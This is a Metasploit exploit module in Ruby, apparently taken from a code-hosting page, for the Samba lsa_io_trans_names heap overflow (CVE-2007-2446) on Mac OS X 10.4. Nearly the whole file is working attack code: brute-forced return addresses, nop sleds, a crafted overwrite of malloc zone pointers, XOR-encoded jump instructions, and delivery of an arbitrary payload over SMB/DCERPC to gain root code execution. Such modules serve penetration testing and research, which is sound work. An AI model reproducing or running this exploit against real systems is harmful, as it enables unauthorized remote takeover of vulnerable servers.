340 lines
9.1 KiB
Ruby
340 lines
9.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB::Client
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include Msf::Exploit::Brute
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Samba lsa_io_trans_names Heap Overflow',
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'Description' => %q{
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This module triggers a heap overflow in the LSA RPC service
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of the Samba daemon. This module uses the szone_free() to overwrite
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the size() or free() pointer in initial_malloc_zones structure.
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},
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'Author' =>
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[
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'Ramon de C Valle',
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'Adriano Lima <adriano[at]risesecurity.org>',
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'hdm'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2007-2446'],
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['OSVDB', '34699'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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},
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'Platform' => 'osx',
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'DefaultOptions' =>
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{
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'PrependSetresuid' => true,
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},
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'Targets' =>
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[
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['Mac OS X 10.4.x x86 Samba 3.0.10',
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{
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'Platform' => 'osx',
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'Arch' => [ ARCH_X86 ],
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'Nops' => 4 * 1024,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0x01818000 },
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'Stop' => { 'Ret' => 0x01830000 },
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'Step' => 3351,
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},
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}
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],
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['Mac OS X 10.4.x PPC Samba 3.0.10',
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{
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'Platform' => 'osx',
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'Arch' => [ ARCH_PPC ],
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'Nops' => 1600,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0x01813000 },
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'Stop' => { 'Ret' => 0x01830000 },
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'Step' => 796,
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}
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}
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],
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['DEBUG',
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{
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'Platform' => 'osx',
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'Arch' => [ ARCH_X86 ],
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'Nops' => 4 * 1024,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xaabbccdd },
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'Stop' => { 'Ret' => 0xaabbccdd },
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'Step' => 0,
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}
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}
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],
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],
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'DisclosureDate' => 'May 14 2007'
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))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
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])
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end
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# Handle a strange byteswapping issue on PPC
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def ppc_byteswap(addr)
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data = [addr].pack('N')
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(data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
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end
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def brute_exploit(target_addrs)
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if(not @nops)
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if (target['Nops'] > 0)
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print_status("Creating nop sled....")
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@nops = make_nops(target['Nops'])
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else
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@nops = ''
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end
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end
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print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
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pipe = datastore['SMBPIPE'].downcase
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print_status("Connecting to the SMB service...")
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connect()
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smb_login()
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datastore['DCERPC::fake_bind_multi'] = false
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handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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num_entries = 256
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num_entries2 = 257
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#
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# First talloc_chunk
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# 16 bits align
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# 16 bits sid_name_use
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# 16 bits uni_str_len
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# 16 bits uni_max_len
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# 32 bits buffer
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# 32 bits domain_idx
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#
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buf = (('A' * 16) * num_entries)
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# Padding
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buf << 'A' * 4
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#
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# Use the szone_free() to overwrite the size() pointer in
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# initial_malloc_zones structure.
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#
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size_pointer = 0x1800008
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# Initial nops array
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nops = ''
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# x86
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if (target.arch.include?(ARCH_X86))
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#
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# We don't use the size() pointer anymore because it
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# results in a unexpected behavior when smbd process
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# is started by launchd.
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#
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free_pointer = 0x1800018
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nop = "\x16"
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#
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# First talloc_chunk
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# 16 bits align
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# 16 bits sid_name_use
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# 16 bits uni_str_len
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# 16 bits uni_max_len
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# 32 bits buffer
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# 32 bits domain_idx
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#
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# First nop block
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buf = ((nop * 16) * num_entries)
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#
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# A nop block of 0x16 (pushl %ss) and the address of
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# 0x1800014 results in a jns instruction which when
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# executed will jump over the address written eight
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# bytes past our target address by szone_free() (the
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# sign flag is zero at the moment our target address is
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# executed).
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#
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# 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
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#
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# This is the output of the sequence of xor operations
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# 0: 79 23 jns 0x25
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# 2: 96 xchgl %eax,%esi
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# 3: 17 popl %ss
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# 4: 16 pushl %ss
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# 5: 16 pushl %ss
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# 6: 16 pushl %ss
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# 7: 16 pushl %ss
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# 8: 14 00 adcb $0x0,%al
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# a: 80 01 16 addb $0x16,(%ecx)
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#
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# This jump is needed because the ecx register does not
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# point to a valid memory location in free() context
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# (it is zero).
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#
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# The jump will hit our nop block which will be executed
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# until it reaches the payload.
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#
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# Padding nops
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buf << nop * 2
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# Jump over the pointers
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buf << "\xeb\x08"
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# Pointers
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buf << [target_addrs['Ret']].pack('V')
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buf << [free_pointer - 4].pack('V')
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#
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# We expect to hit this nop block or the one before
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# the pointers.
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#
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buf << nop * (3852 - 8 - payload.encoded.length)
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# Payload
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buf << payload.encoded
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# Padding nops
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buf << nop * 1024
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stub = lsa_open_policy(dcerpc)
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stub << NDR.long(0) # num_entries
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stub << NDR.long(0) # ptr_sid_enum
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stub << NDR.long(num_entries) # num_entries
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stub << NDR.long(0x20004) # ptr_trans_names
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stub << NDR.long(num_entries2) # num_entries2
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stub << buf
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# PPC
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else
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#
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# The first half of the nop sled is an XOR encoded branch
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# instruction. The second half is a series of unencoded nop
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# instructions. The result is:
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#
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# > This is the decoded branch instruction
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# 0x181c380: bl 0x181c6a0
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#
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# > The size pointer is written below this
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# 0x181c384: .long 0x1800004
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#
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# > Followed by the encoded branch sled
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# 0x181c388: ba 0x180365c
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# [ ... ]
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#
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# > The branch lands in the normal nop sled
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# 0x181c6a0: andi. r17,r16,58162
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# [ ... ]
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#
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# > Finally we reach our payload :-)
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#
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size_pointer = size_pointer - 4
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sled = target['Nops']
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jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')
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nops = (jump * (sled / 8)) + @nops[0, sled / 8]
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addr_size = ppc_byteswap(size_pointer)
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addr_ret = ppc_byteswap(target_addrs['Ret'])
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# This oddness is required for PPC
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buf << [addr_size].pack('N')
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buf << [addr_ret ].pack('N')[2,2]
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buf << [addr_ret ].pack('N')
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# Padding
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buf << "A" * (256 - 10)
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stub = lsa_open_policy(dcerpc)
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stub << NDR.long(0) # num_entries
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stub << NDR.long(0) # ptr_sid_enum
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stub << NDR.long(num_entries) # num_entries
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stub << NDR.long(0x20004) # ptr_trans_names
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stub << NDR.long(num_entries2) # num_entries2
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stub << buf
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stub << nops
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stub << payload.encoded
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end
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print_status("Calling the vulnerable function...")
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begin
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# LsarLookupSids
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dcerpc.call(0x0f, stub)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
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print_status('Server did not respond, this is expected')
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rescue Rex::Proto::DCERPC::Exceptions::Fault
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print_error('Server is most likely patched...')
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rescue => e
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if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
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print_status('Server disconnected, this is expected')
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else
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print_error("Error: #{e.class}: #{e}")
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end
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end
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handler
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disconnect
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end
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def lsa_open_policy(dcerpc, server="\\")
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stubdata =
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# Server
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NDR.uwstring(server) +
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# Object Attributes
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NDR.long(24) + # SIZE
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NDR.long(0) + # LSPTR
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NDR.long(0) + # NAME
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NDR.long(0) + # ATTRS
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NDR.long(0) + # SEC DES
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# LSA QOS PTR
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NDR.long(1) + # Referent
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NDR.long(12) + # Length
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NDR.long(2) + # Impersonation
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NDR.long(1) + # Context Tracking
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NDR.long(0) + # Effective Only
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# Access Mask
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NDR.long(0x02000000)
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res = dcerpc.call(6, stubdata)
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dcerpc.last_response.stub_data[0,20]
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end
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end
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